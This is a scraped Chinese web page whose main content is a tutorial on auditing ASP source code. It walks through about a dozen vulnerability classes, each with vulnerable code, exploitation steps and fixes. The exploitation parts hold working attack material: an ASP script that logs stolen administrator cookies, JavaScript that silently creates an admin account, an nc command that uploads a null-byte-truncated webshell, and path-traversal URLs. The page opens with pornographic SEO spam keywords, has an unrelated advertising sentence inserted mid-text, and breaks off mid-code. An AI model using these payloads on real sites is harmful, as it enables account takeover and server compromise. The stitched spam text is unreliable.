日韩无码专区无码一级三级片|91人人爱网站中日韩无码电影|厨房大战丰满熟妇|AV高清无码在线免费观看|另类AV日韩少妇熟女|中文日本大黄一级黄色片|色情在线视频免费|亚洲成人特黄a片|黄片wwwav色图欧美|欧亚乱色一区二区三区

RELATEED CONSULTING
相關咨詢
選擇下列產(chǎn)品馬上在線溝通
服務時間:8:30-17:00
你可能遇到了下面的問題
關閉右側(cè)工具欄

新聞中心

這里有您想知道的互聯(lián)網(wǎng)營銷解決方案
Web源碼安全審計之ASP篇

0×01 ASP簡介:

在臨桂等地區(qū),都構(gòu)建了全面的區(qū)域性戰(zhàn)略布局,加強發(fā)展的系統(tǒng)性、市場前瞻性、產(chǎn)品創(chuàng)新能力,以專注、極致的服務理念,為客戶提供成都網(wǎng)站制作、成都做網(wǎng)站 網(wǎng)站設計制作按需策劃,公司網(wǎng)站建設,企業(yè)網(wǎng)站建設,成都品牌網(wǎng)站建設,營銷型網(wǎng)站建設,外貿(mào)網(wǎng)站制作,臨桂網(wǎng)站建設費用合理。

ASP是一種服務器端腳本編寫環(huán)境,可以用來創(chuàng)建和運行動態(tài)網(wǎng)頁或Web應用程序。ASP網(wǎng)頁可以包含HTML標記、普通文本、腳本命令以及COM組件等。利用ASP可以向網(wǎng)頁中添加交互式內(nèi)容(如在線表單),也可以創(chuàng)建使用HTML網(wǎng)頁作為用戶界面的web應用程序。

0×02 ASP漏洞介紹:

一.數(shù)據(jù)庫路徑泄露 (DataBase Path Leak)

概述:數(shù)據(jù)庫路徑泄露主要表現(xiàn)在ASP+Access搭建的WEB中,當攻擊者提交%5c的時候,IIS會解析錯誤,導致輸出了真實數(shù)據(jù)庫路徑, %5c是\的十六進制代碼,也就是\的另一種表示方法。

漏洞原理:我們在提交數(shù)據(jù)的時候,IE會自動把%5c轉(zhuǎn)換成/,從而得到同一地址。在asp類型網(wǎng)站中,都會用到一個數(shù)據(jù)庫連接的文件,名字一般是conn.asp。

漏洞代碼:這里我用動力文章系統(tǒng)做案例,代碼如下:

 
 
 
 
  1. <% 
  2. dim conn 
  3. dim connstr 
  4. dim db 
  5. db="database/adsfkldfogowerjnokfdslwejhdfsjhk.mdb"      '數(shù)據(jù)庫文件的位置 
  6. Set conn = Server.CreateObject("ADODB.Connection") 
  7. connstr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(db) 
  8. conn.Open connstr 
  9. %> 

漏洞利用:當訪問http://www.aspmps.com/cn%5cconn.asp IIS就會報錯將數(shù)據(jù)庫絕對路徑輸出到客戶端,如下圖所示

當數(shù)據(jù)庫路徑被泄露,攻擊者就可以將數(shù)據(jù)庫下載到本地,找到表中的后臺管理員賬戶和密碼,這樣就可以輕松進入網(wǎng)站的后臺管理,此漏洞只針對于ACCESS數(shù)據(jù)庫,SQL server數(shù)據(jù)庫不受影響。 動力系統(tǒng)的暴庫問題已久,去年360公司為此發(fā)布一則公告,多家媒體都有轉(zhuǎn)載 鏈接地址:http://tech.163.com/digi/12/0312/15/7SDHI0LJ00163HE0.html。

漏洞修復:修補此漏洞的方法有2種,第一種在conn.open connstr 代碼之前加入 On Error Resume Next ,第二種方法在IIS服務器配置選項中選擇“向客戶端發(fā)送下列文本錯誤消息”。如下圖2

#p#

 

二.跨站腳本攻擊(Cross-Site Scripting)

概述:Cross-site scripting(XSS),是一種經(jīng)常出現(xiàn)在Web應用中的計算機安全漏洞,它允許惡意Web用戶將代碼植入到提供給其它用戶使用的頁面中。比如,包括HTML代碼和客戶端腳本的頁面。為不和層疊樣式表(CSS)的縮寫混淆,通常將跨站腳本縮寫為XSS。攻擊者一般會利用XSS漏洞旁路掉訪問控制——例如同源策略(same origin policy)或發(fā)起phishing攻擊,網(wǎng)頁掛馬,cookie竊取等。Xss跨站攻擊分為兩種,一種反射型攻擊,還有一種存儲型攻擊。反射型攻擊和源碼審計關系不大,在此略過,重點介紹下存儲型攻擊。

漏洞原理:存儲型攻擊就是將惡意代碼通過交互頁面植入數(shù)據(jù)庫中,當管理員訪問到調(diào)用惡意代碼的頁面時,攻擊變產(chǎn)生了。例如在某系統(tǒng)留言反饋欄目中留言內(nèi)容表單未經(jīng)過安全處理,客戶端可以任意提交惡意代碼,導致了XSS跨站漏洞。

漏洞代碼:

 
 
 
 
  1.  <% 
  2. Content = "" 
  3.     For i = 1 To Request.Form("Content").Count 
  4.         Content = Content & Request.Form("Content")(i) 
  5.     Next 
  6. ………… //省略部分代碼 
  7. rs("Guest_ZIP")=HTMLEncode(Guest_ZIP) 
  8.     rs("Guest_TEL")=HTMLEncode(Guest_TEL) 
  9.     rs("Guest_FAX")=HTMLEncode(Guest_FAX) 
  10.     rs("Content")=Content 
  11.     rs.Update 
  12.  %> 

上述代碼中Request.Form方法獲取的content值沒有經(jīng)過安全處理,造成可以XSS存儲型攻擊。

漏洞利用:

攻擊者在留言內(nèi)容框中輸入上述代碼后,當后臺管理員查看了此條留言,則跨站攻擊生效,這時候?qū)⒐芾韱T的COOKIES信息發(fā)送到 xxx域名下保存起來。cookies.asp文件功能是生成個文件保存管理員的COOKIES信息,代碼如下:

 
 
 
 
  1. <% 
  2. c=Request.ServerVariables("QUERY_STRING") 
  3. testfile=Server.MapPath("cookies.txt") 
  4. set fs=server.CreateObject("scripting.filesystemobject") 
  5. set thisfile=fs.OpenTextFile(testfile,8,True,0) 
  6. thisfile.Writeline(""&c& "") 
  7. thisfile.close 
  8. set fs = nothing 
  9. %> 

 

漏洞修復:將“< ’ ” >”標簽進行HTML編碼。#p#

三.跨站請求偽造攻擊(Cross Site Request Forgery)

概述:CSRF是Cross Site Request Forgery的縮寫,直譯過來就是跨站請求偽造的意思,通常用來指 WEB 網(wǎng)站的這一類漏洞,即在某個惡意站點的頁面上,促使訪問者請求你的網(wǎng)站的某個 URL ,從而達到改變服務器端數(shù)據(jù)的目的。

漏洞原理:結(jié)合跨站漏洞,利用JS腳本代碼,做管理員身份才能做的事,但這種動作非管理員本身的請求。

漏洞代碼:此系統(tǒng)中有個安全過濾函數(shù)HTMLEncode,代碼如下:

 
 
 
 
  1. Public Function HTMLEncode(str) 
  2.     If Not IsNull(str) Then 
  3.         str = Replace(str, Chr(38), "&") 
  4.         str = Replace(str, "<", "<") 
  5.         str = Replace(str, ">", ">") 
  6.         str = Replace(str, Chr(9), " ") 
  7.         str = Replace(str, Chr(32), " ")        
  8.         str = Replace(str, Chr(34), """) 
  9.         str = Replace(str, Chr(39), "'") 
  10.         str = Replace(str, Chr(13) & Chr(10), " 
  11. ") 
  12.         str = Replace(str, Chr(10), " 
  13. ") 
  14.         str = Replace(str, Chr(13), " 
  15. ") 
  16.         HTMLEncode = str 
  17.     End If 
  18. End Function 
  19. //以下是漏洞關鍵點 
  20. Content = "" 
  21.     For i = 1 To Request.Form("Content").Count 
  22.         Content = Content & Request.Form("Content")(i) 
  23.     Next 
  24. ………… //省略部分代碼 
  25. rs("Guest_ZIP")=HTMLEncode(Guest_ZIP) 
  26.     rs("Guest_TEL")=HTMLEncode(Guest_TEL) 
  27.     rs("Guest_FAX")=HTMLEncode(Guest_FAX) 
  28.     rs("Content")=Content 
  29.     rs.Update 

上述代碼中Content變量經(jīng)過Request.Form獲取后并沒有像Guest_FAX變量這樣經(jīng)過HTMLEncode過濾。

漏洞利用:利用方法如圖所示

Xss.js腳本作用是執(zhí)行添加一個新的管理員topsec。代碼如下:

 
 
 
 
  1. var request = false; 
  2. if(window.XMLHttpRequest) { 
  3. request = new XMLHttpRequest(); 
  4. if(request.overrideMimeType) { 
  5. request.overrideMimeType('text/xml'); 
  6. } else if(window.ActiveXObject) { 
  7. var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP']; 
  8. for(var i=0; i
  9. try { 
  10. request = new ActiveXObject(versions[i]); 
  11. } catch(e) {} 
  12. xmlhttp=request; 
  13.   
  14. add_admin(); 
  15. function add_admin(){ 
  16. var url="/admin/SysAdmin_Add.asp?Action=SysAdmin_Add"; 
  17. var params ="SiteControl_LoginName=topsec&SiteControl_LoginPass=123456&SiteControl_RealName=topsec&imageField.x=24&imageField.y=8";   
  18. xmlhttp.open("POST", url, true); 
  19. xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); 
  20. xmlhttp.setRequestHeader("Content-length", params.length); 
  21. xmlhttp.setRequestHeader("Connection", "close"); 
  22. xmlhttp.send(params); 

植入如圖所示的一段代碼后,當管理員進入后臺去查看此留言的時候就會觸發(fā)該漏洞,系統(tǒng)會自動給我們加上賬戶為topsec,密碼為123456的管理員。

漏洞修復:加入token認證,修復前臺跨站漏洞。#p#

四.任意文件下載(Arbitrary File Download)

概述:如果系統(tǒng)存在stream流模式下載模塊,而對應下載文件的地址沒有做過安全過濾處理,則會發(fā)生任何文件都可被下載的安全隱患,在windows平臺下此問題更加嚴重。

漏洞原理:Windows系統(tǒng)支持“.asp+空格”和“.asp+.”等同于“.asp”文件,如果存在下載模塊未加驗證,則可以下載任意文件。

漏洞代碼:下面以沸騰展望系統(tǒng)經(jīng)典下載漏洞源碼做介紹。關鍵源碼如下:

 
 
 
 
  1. <% 
  2. Dim Stream 
  3. Dim Contents 
  4. Dim FileName 
  5. Dim TrueFileName 
  6. Dim FileExt 
  7. Dim SavePath 
  8.   
  9. Const adTypeBinary = 1 
  10. FileName = Request.QueryString("FileName") 
  11. If FileName = "" Then 
  12.     Response.Write "無效文件名!" 
  13.     Response.End 
  14. End if 
  15.   
  16. FileExt = Mid(FileName, InStrRev(FileName, ".") + 1) 
  17. Select Case UCase(FileExt) 
  18.     Case "ASP", "ASA", "ASPX", "ASAX", "MDB" 
  19.         Response.Write "非法操作!" 
  20.         Response.End 
  21. End Select 
  22. Response.Clear 
  23. if lcase(right(FileName,3))="gif" or lcase(right(FileName,3))="jpg" or lcase(right(FileName,3))="png" then 
  24.     Response.ContentType = "image/*" '對圖像文件不出現(xiàn)下載對話框 
  25. else 
  26.     Response.ContentType = "application/ms-download" 
  27. end if 
  28. Response.AddHeader "content-disposition", "attachment; filename=" & GetFileName(Request.QueryString("FileName")) 
  29. Set Stream = server.CreateObject("ADODB.Stream") 
  30. Stream.Type = adTypeBinary 
  31. Stream.Open 
  32.   
  33. SavePath = FileUploadPath        '存放上傳文件的目錄 
  34. TrueFileName = SavePath & FileName 
  35.   
  36. Stream.LoadFromFile Server.MapPath(TrueFileName) 
  37. While Not Stream.EOS 
  38.     Response.BinaryWrite Stream.Read(1024 * 64) 
  39. Wend 
  40. Stream.Close 
  41. Set Stream = Nothing 
  42. Response.Flush 
  43. Response.End 
  44. %> 

上述代碼粗體部分是漏洞形成的關鍵代碼,首先程序通過 Request.QueryString(“FileName”) 方法指定任意文件名,雖然程序在下面判斷了文件后綴名,可是并沒有對后綴名進行安全處理,導致客戶端可以在后綴名之后加上空格的URL編碼從而繞過程序的驗證,文件被下載。

漏洞利用:利用方法如下圖

如圖上所示當攻擊者在瀏覽器的地址欄中輸入“down.asp?filename=./cn/index.asp%20”, %20就是經(jīng)過URL編碼后的空格,%2E就是經(jīng)過URL編碼后的“.”,提交后迅雷就會提示下載。

漏洞修復:修補的方法也很簡單,下載文件前最好帶入數(shù)據(jù)庫查詢,存在則下載。還有種方法,用正則表達式去限制。#p#

五.無組件上傳(File Upload)

概述:上傳漏洞在ASP程序漏洞中表現(xiàn)的格外搶眼,各種利用手法層出不窮,以下就分別介紹最常見的三種上傳漏洞,分別是“截斷上傳漏洞” , “變量繼承上傳漏洞” , “驗證不嚴謹上傳漏洞” 。

漏洞原理:有十六進制截斷,變量邏輯繼承,對后綴名驗證不嚴謹,還有的壓根不驗證后綴名的上傳。

漏洞代碼:1.首選介紹截斷上傳,動網(wǎng)論壇作為曾經(jīng)風靡一時的ASP論壇,也被爆出了各種漏洞,其中以上傳漏洞最具代表性,下面就以知名程序動網(wǎng)來做分析。出現(xiàn)漏洞的文件位于Upfile.asp,核心代碼如下:

 
 
 
 
  1. <% 
  2. dim upload,file,formName,formPath,iCount,filename,fileExt 
  3. set upload=new upload_5xSoft 
  4. formPath=upload.form("filepath")   '//漏洞關鍵點 
  5. if right(formPath,1)<>"/" then formPath=formPath&"/" 
  6. for each formName in upload.objFile 
  7. set file=upload.file(formName) 
  8.   
  9. fileExt=lcase(right(file.filename,4))  '//從文件名中截取后4位,并轉(zhuǎn)換為小寫字符。 
  10. if fileEXT<>".gif" and fileEXT<>".jpg" and fileEXT<>".zip" and fileEXT<>".rar" and fileEXT<>".swf"then 
  11. response.write "文件格式不正確 [ 重新上傳 ]" 
  12. response.end 
  13. end if 
  14. randomize 
  15. ranNum=int(90000*rnd)+10000 
  16. filename=formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&fileExt  '//漏洞關鍵點filename由提交的文件路徑+年月日的隨機文件名+轉(zhuǎn)換后的擴展名組成 
  17. if file.FileSize>0 then 
  18. file.SaveAs Server.mappath(FileName) 
  19. response.write "上傳成功!" 
  20. end if 
  21. set file=nothing 
  22. %> 

上述代碼雖然對上傳的文件類型做了判斷,但是在最后保存的時候加上了formPath這個值,而這個值從客戶端提交過來的,攻擊者就可以偽造個數(shù)據(jù)包??蛻舳颂峤淮a如下:

攻擊者將正常數(shù)據(jù)包抓取后修改formPath = “../images/a.asp” + 空格,然后用C32ASM 16進制模式修改空格變成00。因為00是終止符,上傳的時候程序檢測到00后就認為上傳已經(jīng)結(jié)束。如下圖所示

修改保存后用NC提交,在CMD下輸入 nc www.aspmps.com 80<1.txt 即可上傳成功。如下圖所示

修復此漏洞的辦法其實也很簡單,只需檢查文件上傳名種是否存在chr(0),若存在用Replace函數(shù)替換即可。

2. 變量繼承上傳漏洞:當上傳多個文件的時候某些上傳程序變量邏輯混亂造成了變量繼承,在下面就用大名鼎鼎的自由動力文章系統(tǒng)來做分析。攻擊者可制作個HTML表單同時上傳2個文件,第一個FILE控件中選擇正常的rar文件,第二個FILE控件中選擇一個Cer文件,在這個cer文件中寫入ASP一句話木馬。再修改Form中的Action值即可提交成功。如下圖

Upfile_Soft.asp漏洞核心代碼如下:

 
 
 
 
  1. <% 
  2. const UpFileType="rar|zip|exe|mpg|rm|wav|mid" 
  3. dim upload,oFile,formName,SavePath,filename,fileExt,oFileSize 
  4. dim EnableUpload 
  5. dim arrUpFileType 
  6. dim ranNum 
  7. dim msg,FoundErr 
  8. msg="" 
  9. FoundErr=false 
  10. EnableUpload=false 
  11. for each formName in upload.file '列出所有上傳了的文件 
  12.   
  13.         set ofile=upload.file(formName)  '生成一個文件對象 
  14.         oFileSize=ofile.filesize 
  15.         if oFileSize<100 then="" msg="請先選擇你要上傳的文件!" founderr="True" elseif="" ofilesize="">(MaxFileSize*1024) then 
  16.              msg="文件大小超過了限制,最大只能上傳" & CStr(MaxFileSize) & "K的文件!" 
  17.             FoundErr=true 
  18.         end if 
  19.         fileExt=lcase(ofile.FileExt) 
  20.         arrUpFileType=split(UpFileType,"|") 
  21.         for i=0 to ubound(arrUpFileType) 
  22.             if fileEXT=trim(arrUpFileType(i)) then 
  23.                 EnableUpload=true    ' 第一關上傳文件符合rar后綴名,EnableUpload = true 
  24.                 exit for 
  25.             end if 
  26.         next    
  27.   
  28.         if fileEXT="asp" or fileEXT="asa" or fileEXT="aspx" then 
  29.             EnableUpload=false        '第二關檢驗是否屬于三種禁傳類型,因為不屬于,變量EnableUpload仍為true。 
  30.         end if 
  31.   
  32.         if EnableUpload=false then        ' 第三關 如果EnableUpload=false,那么FoundErr=true,而前面?zhèn)鬟f來的EnableUpload=true,那FoundErr仍為進入第一個FOR循環(huán)之前的false。 
  33.             msg="這種文件類型不允許上傳!\n\n只允許上傳這幾種文件類型:" & UpFileType 
  34.             FoundErr=true 
  35.         end if 
  36. if FoundErr<>true then            ' 第四關 如果FoundErr<>true就可以通過,看一下從第三關傳遞過來的FoundErr的值,是 false,可以上傳。 
  37.             FileName=SavePath & ofile.FileName 
  38.             If IsObjInstalled("Scripting.FileSystemObject") Then 
  39.                 dim fso 
  40.                 set fso=CreateObject("Scripting.FileSystemObject") 
  41.                 if fso.FileExists(Server.mappath(FileName)) then 
  42.                     randomize 
  43.                     ranNum=int(900*rnd)+100 
  44.                         filename=SavePath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt 
  45.                 end if 
  46.                 set fso=nothing 
  47.             end if 
  48.             ofile.SaveToFile Server.mappath(FileName) 
  49. %> 

上述代碼加了四個關鍵關卡注釋,自cer進行上傳驗證開始,一直未出現(xiàn)FoundErr,F(xiàn)oundErr的值是什么?它還是rar上傳后的值false,而第四關的驗證就是只要 FoundErr不是true就可以上傳,所以,這個cer文件也就通過了層層關卡,進入了服務器。驚奇的是在最新的研究發(fā)現(xiàn)即使上面的漏洞被修復了,加上服務器操作系統(tǒng)式windows2003的話,攻擊者可以直接上傳1.asp;.mpg后綴名的一句話木馬文件。如下圖所示

3. 驗證不嚴謹上傳漏洞:這種后綴名驗證不嚴謹漏洞存在很多情況,動感上傳漏洞具有代表性。下面就以動感購物系統(tǒng)的上傳模塊做分析。這種上傳漏洞的利用需要攻擊者通過某些手段進入后臺后配置上傳文件允許的后綴名“cer|ccerer”。如下圖所示

然后通過后臺圖片上傳功能,直接上傳后綴名為ccerer的一句話木馬文件即可。產(chǎn)生這個漏洞的核心代碼如下:

 
 
 
 
  1. <% 
  2. Private Function FixName(Byval UpFileExt) 
  3.         If IsEmpty(UpFileExt) Then Exit Function 
  4.         FixName = Lcase(UpFileExt) 
  5.         FixName = Replace(FixName,Chr(0),"") 
  6.         FixName = Replace(FixName,".","") 
  7.         FixName = Replace(FixName,"'","") 
  8.         FixName = Replace(FixName,"asp","") 
  9.         FixName = Replace(FixName,"asa","") 
  10.         FixName = Replace(FixName,"aspx","") 
  11.         FixName = Replace(FixName,"cer","")     '第一關檢查,ccerer變成了cer 成功繞過 
  12.         FixName = Replace(FixName,"cdx","") 
  13.         FixName = Replace(FixName,"htr","") 
  14.         FixName = Replace(FixName,"shtml","") 
  15. End Function 
  16.   
  17. Private Function CheckFileExt(FileExt) 
  18.         Dim Forumupload,i 
  19.         CheckFileExt=False 
  20.         If FileExt="" or IsEmpty(FileExt) Then 
  21.             CheckFileExt = False 
  22.             Exit Function 
  23.         End If 
  24.         If FileExt="asp" or FileExt="asa" or FileExt="aspx" or FileExt="shtml" Then    ' 第二關 cer并不在檢測范圍內(nèi),成功繞過 
  25.             CheckFileExt = False 
  26.             Exit Function 
  27.         End If 
  28.         Forumupload = Split(InceptFile,",") 
  29.         For i = 0 To ubound(Forumupload) 
  30.             If FileExt = Trim(Forumupload(i)) Then        ' 第三關 cer后綴名在數(shù)據(jù)庫變量中 成功匹配 
  31.                 CheckFileExt = True 
  32.                 Exit Function 
  33.             Else 
  34.                 CheckFileExt = False 
  35.             End If 
  36.         Next 
  37. End Function 
  38. %> 

攻擊者提交的后綴名是ccerer,經(jīng)過FixName = Replace(FixName,”cer”,”") 后 ccerer中間的cer已經(jīng)被過濾掉了,但又變成了cer后綴,這樣程序就過了第一關的檢測。 如下圖所示

接下來程序繼續(xù)檢查是后綴名和指定類型名是否一致,一致的話則是非法文件,可惜程序并沒有檢查cer文件,這樣cer文件就過了第二關。接下來程序檢測文件的后綴名是否在后臺配置文件中,若匹配成功則上傳。如下圖所示

這樣攻擊者的cer文件就成功的上傳到服務器上,由于IIS擴展映射中存在將cer等同于asp 文件處理,所以造成了上傳漏洞。如下圖所示

當然還有一些其他的漏洞類型,如 “可以上傳任意文件”,“突破MIME文件頭驗證上傳”,“Javascript本地驗證上傳”等等,總的來說以上這三種上傳漏洞具有代表性。#p#

六.Cookies欺騙(Cookies Spoofing)

概述:在只對用戶做Cookies驗證的系統(tǒng)中,通過修改Cookies的內(nèi)容來得到相應的用戶權(quán)限登錄。Cookies欺騙在入侵中經(jīng)常用到,通過修改Cookies的內(nèi)容來得到相應的用戶權(quán)限登錄,從而達到攻擊的目的。

漏洞原理:到底什么是Cookies,它有什么作用呢?Cookies是一種能夠讓網(wǎng)站服務器把少量數(shù)據(jù)儲存到客戶端的硬盤或內(nèi)存,或是從客戶端的硬盤讀取數(shù)據(jù)的一種技術(shù)。Cookies是當你瀏覽某網(wǎng)站時,由Web服務器置于你硬盤上的一個非常小的文本文件,它可以記錄你的用戶ID、密碼、瀏覽過的網(wǎng)頁、停留的時間等信息。

漏洞代碼:接下來還是以自由動力文章系統(tǒng)做案例,訪問后臺文件UploadSoft.asp必須通過授權(quán)驗證,此程序通過Cookies驗證造成了安全隱患。沒設置Cookies之前如圖所示

關鍵代碼如下:

 
 
 
 
  1. <% 
  2. if session("AdminName")="" and request.Cookies("asp163")("UserName")="" then 
  3.         response.Write("請登錄后再使用本功能!") 
  4.     else 
  5.         select case upload_type 
  6.             case 0 
  7.                 call upload_0()  '使用化境無組件上傳類 
  8.             case else 
  9.                 response.write "本系統(tǒng)未開放插件功能" 
  10.                 response.end 
  11.         end select 
  12. end if 
  13. %> 

代碼中IF語句判斷有問題,如果Session和Cookies值都為空則不能繼續(xù)執(zhí)行,否則可以調(diào)用上傳函數(shù)upload_0()。 那攻擊者只需要做到滿足Cookies值不為空就可以調(diào)用上傳函數(shù)了,這個上傳函數(shù)在上一節(jié)已經(jīng)提到過存在變量繼承上傳漏洞,這兩個漏洞一結(jié)合危害就很大了。

漏洞利用:用火狐插件修改成asp163=UserName=asp設置Cookies后如下圖所示

這樣就繞過了Cookies的驗證,造成可以上傳文件,為后來變量繼承漏洞的成功實現(xiàn)創(chuàng)造了條件。

漏洞修復:可以加密Cookies,后臺關鍵文件最好用Session去驗證。#p#

七.本地文件包含(Local File Inclusion)

概述:ASP Execute方法的作用是執(zhí)行一個來自于其他ASP文件內(nèi)部的ASP程序。

漏洞原理:當其他ASP文件內(nèi)的程序被請求執(zhí)行完畢之后,控制器將返回最初發(fā)出請求的原始ASP文件。與PHP包含漏洞不同的是Execute方法只能包含本地文件。

漏洞代碼:

<%Server.Execute(Request.QueryString("file"))%>

equest方法獲取的參數(shù)file沒經(jīng)過安全處理,被Execute方法執(zhí)行了。

漏洞利用:若某個應用程序不存在上傳漏洞,那么攻擊者可以上傳個正常圖片格式的文件,文件中包換ASP腳本代碼,這時候就可以用本地包含漏洞去執(zhí)行圖片中的ASP代碼。如下圖所示

如果jpg里寫入的ASP小馬,那就可以輕松得到一個WebShell。

漏洞修復:盡量系統(tǒng)指定執(zhí)行文件,不要讓客戶端提交參數(shù),實在需要動態(tài)改變參數(shù),可以輔助一個匹配文件,若客戶端提交的參數(shù)在文件中出現(xiàn),則可以執(zhí)行,否則不允許繼續(xù)執(zhí)行。#p#

八.路徑操控(Path Manipulation)

概述:用戶輸入控制 file system 操作所用的路徑,借此攻擊者可以訪問或修改其他受保護的系統(tǒng)資源。

漏洞原理:當滿足以下兩個條件時,就會產(chǎn)生path manipulation 錯誤:

1. 攻擊者能夠指定某一 file system操作中所使用的路徑。

2. 攻擊者可以通過指定特定資源來獲取某種權(quán)限,而這種權(quán)限在一般情況下是不可能獲得的。

漏洞代碼:下面以經(jīng)典的Ewebeditor編輯器做分析,在編輯器文件管理處存在一個路徑操控漏洞,攻擊者可以指定路徑的讀取范圍,造成安全隱患。

 
 
 
 
  1. <% 
  2. Function InitParam() 
  3.     sStyleID = Trim(Request("id")) 
  4.     sUploadDir = "" 
  5.     If IsNumeric(sStyleID) = True Then 
  6.         sSql = "select S_UploadDir from eWebEditor_Style where S_ID=" & sStyleID 
  7.         oRs.Open sSql, oConn, 0, 1 
  8.         If Not oRs.Eof Then 
  9.             sUploadDir = oRs(0) 
  10.         End If 
  11.         oRs.Close 
  12.     End If 
  13.     If sUploadDir = "" Then 
  14.         sStyleID = "" 
  15.     Else 
  16.         sUploadDir = Replace(sUploadDir, "\", "/") 
  17.         If Right(sUploadDir, 1) <> "/" Then 
  18.             sUploadDir = sUploadDir & "/" 
  19.         End If 
  20.     End If 
  21.     sCurrDir = sUploadDir 
  22.   
  23.     ' 樣式下的目錄 
  24.     sDir = Trim(Request("dir")) 
  25.     If sDir <> "" Then 
  26.         If CheckValidDir(Server.Mappath(sUploadDir & sDir)) = True Then 
  27.             sCurrDir = sUploadDir & sDir & "/" 
  28.         Else 
  29.             sDir = "" 
  30.         End If 
  31.     End If 
  32. End Function 
  33. %> 

若攻擊者想利用此漏洞需要滿足2個條件,第一sStyleID這個值不能為空,并且是數(shù)據(jù)庫中存在的ID號。第二 sDir 這個變量沒有經(jīng)過任何安全處理,帶入到 sCurrDir 變量中,只是最后不需要輸入“/”。

漏洞利用:admin_uploadfile.asp?id=22&dir=../.. 執(zhí)行后將跳轉(zhuǎn)到2個上級目錄下,攻擊者可以刪除任意文件和文件夾。如下圖所示

漏洞修復:針對此漏洞建議用Replace函數(shù)過濾掉“..” 。#p#

九.表單提交欺騙(Spoofed Form Submit)

概述:表單提交是當前Web應用中的重要內(nèi)容,用戶可以通過這種方式與服務器進行數(shù)據(jù)傳遞。在通常情況下,會在提交表單之前在服務器上進行表單數(shù)據(jù)的驗證,這樣可以節(jié)省服務器資源,但同時也為服務器帶來了安全漏洞。

漏洞原理:顧名思義Web程序只是在客戶端用JavaScript驗證了合法性,并沒有在服務端驗證數(shù)據(jù)的合法性。

漏洞代碼:下面以上傳頁面做為案例分析

漏洞利用:攻擊者只需要禁用瀏覽器中的活動腳本和Javascript腳本就可以發(fā)動一次攻擊。禁用如下圖所示:

第二種方法制作個HTML頁面,只需將JS腳本刪除,再將Action值改成需要攻擊的目標網(wǎng)址即可。

漏洞修復:客戶端和服務端都要做驗證,客戶端做驗證能提高用戶體驗,服務端再驗證能保證數(shù)據(jù)安全。

十.Http請求偽造(Spoofed HTTP Request)

概述:一個比欺騙表單更高級和復雜的攻擊方式是HTTP請求欺騙。這給了攻擊者完全的控制權(quán)與靈活性,它進一步證明了不能盲目信任用戶提交的任何數(shù)據(jù)??吹酱蠖鄶?shù)瀏覽器會包含一個來源的URL值,你可能會試圖使用Request.ServerVariables(“HTTP_REFERER”)變量去防止欺騙。確實,這可以用于對付利用標準瀏覽器發(fā)起的攻擊,但攻擊者是不會被這個小麻煩給擋住的。通過編輯HTTP請求的原始信息,攻擊者可以完全控制HTTP頭部的值,GET和POST的數(shù)據(jù),以及所有在HTTP請求的內(nèi)容。

漏洞原理:通過Request.ServerVariables 去驗證數(shù)據(jù)來源的合法性,依舊不可靠,畢竟一切從Request獲取的值都可以被偽造出來的。

漏洞代碼:下面以ASP中經(jīng)典驗證來源的代碼做分析

 
 
 
 
  1.  <% 
  2. Dim From_url , Serv_url 
  3.     From_url = Cstr(Request.ServerVariables("HTTP_REFERER")) 
  4.     Serv_url = Cstr(Request.ServerVariables("SERVER_NAME")) 
  5.     If Mid(From_url,8,Len(Serv_url)) <> Serv_url then 
  6.         Response.Write "非法鏈接!" 
  7.         Response.End 
  8.     End if 
  9. %> 

上述代碼中2個判斷的值均來自客戶端環(huán)境變量,判斷思路是目標地址和來源地址的域名是否一致,不一致則認為是非法訪問,這段代碼常用于防盜鏈模塊中。

漏洞利用:用法HTTP代理軟件構(gòu)造一個特定的數(shù)據(jù)包,在HTTP頭加上Referer 。如下圖所示

漏洞修復:驗證數(shù)據(jù)來源的真實性還是應該放在服務端,Request變量獲取的值都是不可靠的。#p#

十一.代碼注入(Code Injection)

概述:許多現(xiàn)代編程語言都允許動態(tài)解析源代碼指令。 如果程序員需要由用戶提供的指令對數(shù)據(jù)操作,這種情況下可以應用這種功能。當然,我們更愿意利用底層語言構(gòu)造,而不是通過執(zhí)行代碼來解析用戶輸入。 由用戶提供的指令預期執(zhí)行一些無害的操作,例如,對當前的用戶對象進行簡單計算或修改用戶對象的狀態(tài),等等。然而,如果程序員不夠細心,用戶指定的操作范圍可能會超出程序員最初的設想。

漏洞原理:ASP應用程序中若存在Eval ,Execute ,ExecuteGlobal 函數(shù)使用時,要格外注意它們的使用環(huán)境,若從外部獲取參數(shù),沒有經(jīng)過安全處理 就會造成安全隱患。Eval() 計算表達式的值,并且返回一個結(jié)果,Execute() 執(zhí)行一個或多個指定的語句。多個語句間用冒號(:)隔開 ,ExecuteGlobal() 在全局名字空間中執(zhí)行一個或多個指定的語句。

漏洞代碼:

<%=Eval(Request("parma"))%>

上述代碼用戶提交parma的方法有GET,POST,COOKIE三種,攻擊者可以精心構(gòu)造出ASP的小馬提交就可以執(zhí)行,安全隱患相當大,在源碼審計的過程中要額外注意它們的使用。

漏洞利用:

若攻擊者給parma參數(shù)值等于VB里的Now()函數(shù),就會把當前的時間輸出出來,這里代碼用Eval函數(shù)執(zhí)行的,若是Execute 和 ExecuteGlobal函數(shù)則不會輸出到網(wǎng)頁中。

漏洞修復:謹慎使用此三個函數(shù),若需要動態(tài)執(zhí)行,則只讓用戶輸入和本地文件中匹配的字符,若不匹配則不可以執(zhí)行。

十二.XML中的XPATH注入(Xpath Injection)

概述:Xml文檔存儲數(shù)據(jù)時,若查詢數(shù)據(jù)不經(jīng)過安全過濾也會和關系型數(shù)據(jù)庫一樣,產(chǎn)生注入漏洞,在這里我們總結(jié)成XPATH注入漏洞,在這里它更像是ACCESS數(shù)據(jù)庫。

漏洞原理: 如同Access數(shù)據(jù)庫一樣,XML文檔只是保存數(shù)據(jù)用的,若程序?qū)τ脩籼峤坏臄?shù)據(jù)沒有經(jīng)過安全處理,則會導致安全問題,在這里最常見的莫過于經(jīng)典的萬能密碼。

漏洞代碼:

 
 
 
 
  1. <% 
  2. function SelectXmlNodeText(elementname,elementpass) 
